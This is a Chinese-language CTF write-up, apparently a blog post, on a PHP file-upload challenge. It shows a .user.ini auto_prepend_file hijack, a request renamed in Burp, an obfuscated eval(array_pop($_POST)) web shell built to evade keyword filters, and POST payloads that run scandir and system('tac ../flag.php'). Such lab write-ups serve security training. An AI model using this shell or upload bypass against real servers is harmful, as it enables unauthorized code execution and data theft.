这是一道文件上传和rec结合的题目题目给了提示说后端不能单五校验说明这道题比前面几道题的校验更加严格后端黑名单/白名单绕过题目提示“后端校验要严密”通常限制了直接上传 .php 后缀的 WebShell 文件。.user.ini 配置文件劫持自 PHP 5.3.0 起PHP 支持基于每个目录的 .ini 文件配置即 .user.ini。当使用 CGI/FastCGI 模式如 Nginx PHP-FPM时当前目录下若存在 .user.iniPHP 会自动将其作为当前目录下的额外配置文件来解析。核心配置项auto_prepend_file在主文件执行之前自动包含include指定文件的内容。auto_append_file在主文件执行之后自动包含指定文件的内容我们可以利用 .user.ini 引导服务器在访问正常的 php 页面时自动引入我们的木马。我们上传的是user.ini.png因为前端有校验用bp抓到包后改为user.ini后再把包发回去同时user.ini中写入auto_prepend_fileMM.png这句话的意思是只要访问当前目录以及子目录下的任何 php 文件在执行前都会自动把 MM.png 包含进来当做 php 代码执行方便我们后面上传木马文件因为后端校验将php ; [] {} 都给限制了所以我们只能使用新木马? eval(array_pop($_POST))?它能成功绕过检测并代替传统木马原因在于它巧妙地利用了 PHP 的短标签和数组函数?短标签代替了标准的 ?php。在一些特定配置如 PHP 开启了 short_open_tag的服务器上这样写依然能被解析同时减少了 php 关键字的特征。 array_pop() 函数这是关键所在。在 PHP 中$_POST 是一个存储所有常规 POST 提交数据的关联数组。 array_pop(数组) 的功能是弹出并返回数组中的最后一个元素。 通过使用函数来动态获取参数代码中完全消失了 [cmd] 或 [pass] 这样的明确键名Key。安全软件在做静态文本扫描时就很难直接把它定性为木马 ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/f7dedbcf5582436083ff2c415d88f3c4.png) 当直接访问 upload/ 目录时由于没有带任何参数页面初始只显示了 nothing here。但实际上只要该目录下有默认的 index.php 或其他 php 文件在运行我们的 MM.png 就已经被自动加载了。 ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/d1a0e994e16b4f97aed34abfa9e73924.png) ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/f82597dd293442dd9ad44e9cef99041d.png) 接下来利用 HackBar 插件通过 POST 方式向 发送指令 POST Body: 1var_dump(scandir(/var/www/html)); ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/1388f07cc57c497f8cc0de3d1a3e4f78.png) 返回结果返回了一个包含多个文件目录的数组其中清晰地暴露了在上一层目录即 /var/www/html下有一个名为 flag.php 的文件。 接下来就是想办法读取flag.php文件的内容 我们就可以使用 Linux 查看命令将其读取出来。 POST Body: 1system(tac ../flag.php); ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/b14b6c2c42ae4fda9510c165d501806e.png) 为什么命令执行时输入 1命令 能成功而直接输入命令却不行 1. 如果你“直接输入命令”错误做法 假设你直接在 POST 框里写var_dump(scandir(/)); 此时前端发出的 HTTP 请求体Body内容就是纯文本 php var_dump(scandir(/)); 当 PHP 解析这段 POST 数据并填充到 $_POST 数组中时由于这段文本没有 键值KeyValue的结构PHP 无法将其处理为标准的数组元素。此时 $_POST 数组很可能是空的或者解析错误。 既然数组是空的array_pop($_POST) 就拿不到任何数据eval() 也就没有东西可以执行。 2. 如果你输入 1var_dump(scandir(/));正确做法 当你采用 键值 的格式提交时PHP 会正常解析。 此时后端的 $_POST 数组在内存中长这样 php $_POST array( 1 var_dump(scandir(/)); ); 紧接着木马程序开始执行 array_pop($_POST) 开始工作它不关心键名是 1 还是 cmd它只看最后一个元素的值。 它把数组中的最后一个值 var_dump(scandir(/)); 弹了出来。 这个字符串被送进了 eval() 函数中等同于执行了 php eval(var_dump(scandir(/));); 代码成功在服务器后端触发并回显。 还有更简单的写法只需要使用蚁剑 ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/e888e077cc054b0d917e998e9284eb1a.png) 现在复制当前网站到蚁剑的url地址把https改为http 然后连接密码随便输入只要输入了内容就会被看作是一个键值对的数组就行 ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/bb931e32cafa4811b4eb6a60e149b62e.png) 但是查看不了还是使用前面复杂的方法吧我也不知道为什么没有了 158的解题步骤跟157一样